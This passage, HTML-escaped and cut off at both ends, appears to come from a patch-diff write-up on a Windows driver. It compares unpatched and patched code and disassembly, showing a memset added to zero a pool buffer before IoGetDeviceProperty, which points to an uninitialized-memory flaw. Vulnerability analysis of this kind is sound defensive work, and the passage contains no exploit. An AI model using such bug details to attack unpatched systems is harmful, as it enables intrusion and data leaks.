&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WORD&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6F437249u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RegistryPath&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RegistryPath&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RegistryPath&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// NUL terminator fills the trailing 2 bytes&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED ===&lt;/span&gt;
&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WORD&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6F437249u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WORD&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ADDED, but buffer is fully written below anyway&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RegistryPath&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RegistryPath&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;PoolWithTag&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RegistryPath&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;IrCommHandleSymbolicLink&lt;/code&gt; (&lt;code&gt;0x1C00015C0&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;Unpatched build — the second allocation is used directly, with no zero-fill between the NULL check and &lt;code&gt;IoGetDeviceProperty&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016B0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;202&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;514&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016C2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016CE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016D2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016D5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C00016E1&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C00016E1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;here&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unpatched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;build&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016E1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BufferLength&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016EF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PropertyBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zeroed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016F5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Bh&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DevicePropertyPhysicalDeviceObjectName&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016FA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_IoGetDeviceProperty&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;Len&lt;/span&gt;&lt;span class="n"&gt;gth&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ResultLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;counted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PDO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000172D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_IoCreateSymbolicLink&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bounded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;by&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;Len&lt;/span&gt;&lt;span class="n"&gt;gth&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001768&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_RtlWriteRegistryValue&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Val&lt;/span&gt;&lt;span class="n"&gt;ueName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NUL&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;terminated&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched build — a &lt;code&gt;memset&lt;/code&gt; is inserted at the NULL-check target (&lt;code&gt;loc_1C00016EC&lt;/code&gt;), before &lt;code&gt;IoGetDeviceProperty&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016CD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016D9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016DD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016E0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C00016EC&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016EC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016F1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016F3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r13&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016F6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016F9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ADDED&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00016FE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;DeviceName&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BufferLength&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0001718&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_IoGetDeviceProperty&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;DriverEntry&lt;/code&gt; (&lt;code&gt;0x1C000C008&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;Unpatched build — allocation, copy, and explicit NUL terminator (full coverage, no zero-fill needed):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000C06A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000C076&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000C07C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_1C000C254&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000C082&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;Size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span 